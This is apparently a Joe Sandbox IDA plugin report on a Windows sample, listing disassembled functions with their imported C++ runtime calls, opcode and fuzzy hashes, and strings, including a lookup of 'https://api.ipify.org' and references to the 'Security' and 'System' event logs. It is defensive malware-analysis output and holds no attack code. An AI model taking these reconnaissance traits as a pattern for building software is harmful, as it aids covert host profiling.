Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnmemmove$Concurrency::cancel_current_task$?out@?$codecvt@_Mbstatet@@Mbstatet@@@std@@
String ID:
API String ID: 525765215-0
Opcode ID: c6cdeb64eca4f1f961e730b4080fa50bdbe3b7e8eb71886a262a1a5eee0e9623
Instruction ID: 29998565619bcc52f538fda49f822d0493c1ad15d81a430305710fc44992f8aa
Opcode Fuzzy Hash: c6cdeb64eca4f1f961e730b4080fa50bdbe3b7e8eb71886a262a1a5eee0e9623
Instruction Fuzzy Hash: 55B1AE63F2CB85AAEB40CBA4D8452AE2362EB59B98F404335DE5D97B99DF3CD045C310

Function 00007FF670FCB470 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF670FC34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC34D8

Part of subcall function 00007FF670FC34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC3579

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCB53E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCB58D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCB5CC
__std_exception_copy.VCRUNTIME140 ref: 00007FF670FCB618
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCB665

Strings

type_error, xrefs: 00007FF670FCB4D6

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memmove$__std_exception_copy
String ID: type_error
API String ID: 450636425-1406221190
Opcode ID: 105f28b83217c533a0621a35a7ac762c2119fe9a0180d406f36b6523ef19bbb5
Instruction ID: 360d51983903ebe99ddd854a003cd0a57c975fca826cf000f00c719eafd3e15e
Opcode Fuzzy Hash: 105f28b83217c533a0621a35a7ac762c2119fe9a0180d406f36b6523ef19bbb5
Instruction Fuzzy Hash: A4519F63F2CA82A9EB00DB74D4513AD2321EB457A4F505336EE6CD3B99DF2CE4858310

Function 00007FF670FC38C0 Relevance: 10.6, APIs: 7, Instructions: 142COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF670FC39AE
memmove.VCRUNTIME140 ref: 00007FF670FC39BC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC39F5
memmove.VCRUNTIME140 ref: 00007FF670FC3A0D
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC3A3F
?uncaught_exceptions@std@@YAHXZ.MSVCP140 ref: 00007FF670FC3A59
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF670FC3A66

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: memmove$?uncaught_exceptions@std@@Concurrency::cancel_current_taskD@std@@@std@@Osfx@?$basic_ostream@U?$char_traits@_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3994297871-0
Opcode ID: 0d3babcc7e1d00f3f4ba6de05bff6259dba674746789e89b6443e5f8b810e014
Instruction ID: 079f9739f102996c3fbe56f8a3f06ca344dd63a995636fd9c9453601f203697c
Opcode Fuzzy Hash: 0d3babcc7e1d00f3f4ba6de05bff6259dba674746789e89b6443e5f8b810e014
Instruction Fuzzy Hash: AC41D063B2DA82A5EE109B26A4063AE6351BB49FD4F144331DE6DCBB95DF7CD0818314

Function 00007FF670FCBD00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF670FC34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC34D8

Part of subcall function 00007FF670FC34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC3579

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCBDD2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCBE21
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCBE60
__std_exception_copy.VCRUNTIME140 ref: 00007FF670FCBEB0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCBEFD

Strings

other_error, xrefs: 00007FF670FCBD67

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memmove$__std_exception_copy
String ID: other_error
API String ID: 450636425-896093151
Opcode ID: 31ea6dbdf5b28761d069e831836c2231da87d872b6197d28bd07c80b67e1e4fa
Instruction ID: f9bb5603b47276d25e504ea0eb17ea99e12a21b303dd84a1abf2b28e8a91b862
Opcode Fuzzy Hash: 31ea6dbdf5b28761d069e831836c2231da87d872b6197d28bd07c80b67e1e4fa
Instruction Fuzzy Hash: 9A518F63E29B86A5EB00CB75D4913AD2321EB457A4F505332EE6CD7B99DF2CE184C310

Function 00007FF670FCBFF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF670FC34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC34D8

Part of subcall function 00007FF670FC34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC3579

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCC0C2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCC111
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCC150
__std_exception_copy.VCRUNTIME140 ref: 00007FF670FCC1A0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCC1ED

Strings

type_error, xrefs: 00007FF670FCC057

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memmove$__std_exception_copy
String ID: type_error
API String ID: 450636425-1406221190
Opcode ID: 294e30e33237f614d553a8616d03b456f925f8fa26abcf6bbcb68f5e37fb1cb1
Instruction ID: 92c812b1f6c36c9b94c7750aa53125eb79debb5b977ffdd3c25aa2990fd01d06
Opcode Fuzzy Hash: 294e30e33237f614d553a8616d03b456f925f8fa26abcf6bbcb68f5e37fb1cb1
Instruction Fuzzy Hash: 57517D63E29B81A8EB00CF65D4912AD2321EB497A4F505332EE6CD7B99DF6CE1848350

Function 00007FF670FC3710 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF670FC3813
memset.VCRUNTIME140 ref: 00007FF670FC3823
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC385B
memmove.VCRUNTIME140 ref: 00007FF670FC3865
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC38AC

Strings

https://api.ipify.org, xrefs: 00007FF670FC3714

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmemset
String ID: https://api.ipify.org
API String ID: 1489393663-2202801394
Opcode ID: 6262807c10bc088014f41e382774cdef2928cc7cd859120c8615ceda734d3c7e
Instruction ID: bf71496fc0c924a46a094e5eff024ebc2038334c15512847ede0eb554005743c
Opcode Fuzzy Hash: 6262807c10bc088014f41e382774cdef2928cc7cd859120c8615ceda734d3c7e
Instruction Fuzzy Hash: B941A1A3B2DAC1A5EA109B12A5053AE6365BB49BD4F580336DFADCB7C5DF3CE0518310

Function 00007FF670FC5210 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF670FC527A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC5300
memmove.VCRUNTIME140 ref: 00007FF670FC5326
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC534A

Part of subcall function 00007FF670FCD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF670FC3975), ref: 00007FF670FCDA0A

Strings

Application, xrefs: 00007FF670FC5212
Security, xrefs: 00007FF670FC5216

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID: Application$Security
API String ID: 2075926362-3957089671
Opcode ID: 254d94e1410b596e8b4f3743d8d75c6d53527c0e069e7d98301bd8a707a24a1d
Instruction ID: 03945433eb650c6a705b450a886eaa33351080452c9918e87dc188d4dfd5d7b2
Opcode Fuzzy Hash: 254d94e1410b596e8b4f3743d8d75c6d53527c0e069e7d98301bd8a707a24a1d
Instruction Fuzzy Hash: BC31A323A1D7C1A5EA149B51A9012BA2295EB45FF4F680730DE7DCB7D1DF7CE0D18210

Function 00007FF670FC21A0 Relevance: 9.1, APIs: 6, Instructions: 82COMMON

Download Yara Rule

APIs

?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z.MSVCP140 ref: 00007FF670FC21C0

Part of subcall function 00007FF670FCD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF670FC3975), ref: 00007FF670FCDA0A

??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z.MSVCP140 ref: 00007FF670FC2216
?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z.MSVCP140 ref: 00007FF670FC2232
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF670FC2242
?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z.MSVCP140 ref: 00007FF670FC2251
??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z.MSVCP140 ref: 00007FF670FC2265

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: Locimp@locale@std@@$??0?$codecvt@_??4?$_Addfac@_Bid@locale@std@@D@std@@Init@locale@std@@Locimp@12@_Locimp@_Mbstatet@@@std@@New_V01@V123@V123@@Vfacet@23@_Yarn@malloc
String ID:
API String ID: 3292048638-0
Opcode ID: e91d51617bfb5f1c979a81019cbdcdfb600ed16b8d7ce9e410bafdc752ee1be9
Instruction ID: b4fe5b3c6fab03094e4863190821e71c3649c6d410c26668060718d7b88a3a9c
Opcode Fuzzy Hash: e91d51617bfb5f1c979a81019cbdcdfb600ed16b8d7ce9e410bafdc752ee1be9
Instruction Fuzzy Hash: 9C310E37A19B8196EB609F66E85426AB3A4FB48B80F144135CF8E83B61DF3CE095C350

Function 00007FF670FC8E00 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 318COMMON

Download Yara Rule

APIs

_CxxThrowException.VCRUNTIME140 ref: 00007FF670FC9168

Strings

Security, xrefs: 00007FF670FC8E0E
System, xrefs: 00007FF670FC8E0C

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: ExceptionThrow
String ID: Security$System
API String ID: 432778473-2661570791
Opcode ID: 9ca77f19fb11e3cf4ba1f86fff28f7402b9ec14501f6bb769ed6b0f6a5b6db53
Instruction ID: 142bddaaa08b87a543244beccf06eff112ca90734816ee4d79d21013bb899404
Opcode Fuzzy Hash: 9ca77f19fb11e3cf4ba1f86fff28f7402b9ec14501f6bb769ed6b0f6a5b6db53
Instruction Fuzzy Hash: 9DC1CD33A2DBC696E7018B65E4453AE33A5EB55B88F088635DF8C87746EF3CA191C350

Function 00007FF670FC8720 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 252COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC893E
_CxxThrowException.VCRUNTIME140 ref: 00007FF670FC8A51
_CxxThrowException.VCRUNTIME140 ref: 00007FF670FC8A8F
_CxxThrowException.VCRUNTIME140 ref: 00007FF670FC8ACD

Strings

System, xrefs: 00007FF670FC872C

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: ExceptionThrow$_invalid_parameter_noinfo_noreturn
String ID: System
API String ID: 2822070131-3470857405
Opcode ID: 0314efecf23b9183828dfd4f7d6faffbdde8dd2fccbdcc1d54c395153d8edd79
Instruction ID: 7288ea037f8b2ffad954a1cdcb0748d46aa295e8ca5e933d43715476c61e40cf
Opcode Fuzzy Hash: 0314efecf23b9183828dfd4f7d6faffbdde8dd2fccbdcc1d54c395153d8edd79
Instruction Fuzzy Hash: E4B1C42391CBC6A1EB119B24D4422BE6760FB95788F549632DF8C93B96DF3CE582C350

Function 00007FF670FC2A40 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC2B12

Part of subcall function 00007FF670FCD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF670FC3975), ref: 00007FF670FCDA0A

Part of subcall function 00007FF670FC11C0: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF670FC11CB

memmove.VCRUNTIME140 ref: 00007FF670FC2B33
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC2B4F

Part of subcall function 00007FF670FC1120: __std_exception_copy.VCRUNTIME140 ref: 00007FF670FC1164

??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF670FC2BB5
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF670FC2BBE

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$??1?$basic_ios@??1?$basic_iostream@Concurrency::cancel_current_taskXlength_error@std@@__std_exception_copy_invalid_parameter_noinfo_noreturnmallocmemmove
String ID:
API String ID: 144170543-0
Opcode ID: 7fc0a57f3f69f14adfe3361cf7d7eb95831778cba61eb4ba92089be02b8ff312
Instruction ID: af35c96a70fe2dfc7a2999846365ec7e90e17bb8ded32d610b10711fb3cff384
Opcode Fuzzy Hash: 7fc0a57f3f69f14adfe3361cf7d7eb95831778cba61eb4ba92089be02b8ff312
Instruction Fuzzy Hash: 40419123B19B8291EA549F25E9453692360EB84BA4F148332DE2C877D6DF3CD8D68310

Function 00007FF670FC2670 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC2863

Strings

, xrefs: 00007FF670FC26F3

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-3916222277
Opcode ID: 177c243d06eaa4426d10ac5b96c593ce6d3cf71fbaf6bea3286e178d050784a9
Instruction ID: bec261da1a63549a22052119c813eeb1e0612105e3df2dbc087c703588223b97
Opcode Fuzzy Hash: 177c243d06eaa4426d10ac5b96c593ce6d3cf71fbaf6bea3286e178d050784a9
Instruction Fuzzy Hash: 8C514B73A18B85A6EB558F2AD9952693360FB48B94F544632CF5DC3BA0CF3DE0A1C310

Function 00007FF670FCF9F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

__current_exception.VCRUNTIME140 ref: 00007FF670FCFA25
__current_exception_context.VCRUNTIME140 ref: 00007FF670FCFA39
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCFA41

Strings

csm, xrefs: 00007FF670FCFA11

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: __current_exception__current_exception_contextterminate
String ID: csm
API String ID: 2542180945-1018135373
Opcode ID: 9a71d54b323909634587fecb3b0b832e45101661dec1fdc02d4fe101acb10c47
Instruction ID: 320f03ec5f42527054143d8041ab18251576a90f185f00af1700b082c8b36201
Opcode Fuzzy Hash: 9a71d54b323909634587fecb3b0b832e45101661dec1fdc02d4fe101acb10c47
Instruction Fuzzy Hash: A7F04437619B85CAD7549F21E8822AC3364F748B88B496230FE8D87B15CF3CD890D720

Function 00007FF670FC5E40 Relevance: 6.4, APIs: 5, Instructions: 130COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF670FC5E74
memmove.VCRUNTIME140 ref: 00007FF670FC5EBD
memmove.VCRUNTIME140 ref: 00007FF670FC5EEB
memset.VCRUNTIME140 ref: 00007FF670FC5F02

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: memmovememset
String ID:
API String ID: 1288253900-0
Opcode ID: a361461ebd74b817559f1ba7322bb17d22a5080eb4e1f2fdce319b824f189eee
Instruction ID: ee60e357a0f99d6d5471c72a02118e1fda00a2cd14dafa382347ab2aefa2c7f8
Opcode Fuzzy Hash: a361461ebd74b817559f1ba7322bb17d22a5080eb4e1f2fdce319b824f189eee
Instruction Fuzzy Hash: DA414423A3D6D1A2EB28CB2881423AE6791EB01B80F848235DB5DC3B86DF3DE555C310

Function 00007FF670FC30A0 Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF670FC30D0
memmove.VCRUNTIME140 ref: 00007FF670FC3192
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC31E5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC31F2

Part of subcall function 00007FF670FCD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF670FC3975), ref: 00007FF670FCDA0A

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 2075926362-0
Opcode ID: 53e794fc6dfcec2b46ca8ea9a57cfb84a65b1bacf8cfac426bbf2e7376b1d71d
Instruction ID: 069d54569b30929f42b04dc04bd2f26edb11671ffb1775226fdb1eefcb093796
Opcode Fuzzy Hash: 53e794fc6dfcec2b46ca8ea9a57cfb84a65b1bacf8cfac426bbf2e7376b1d71d
Instruction Fuzzy Hash: 6F31C263F2DAC2A8FA159B55A5063BA1255AB05FE4F580331CE2DC7BC6DF3DE4818320

Function 00007FF670FC35A0 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC3682
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC36C0
memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC36CA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC36FF

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

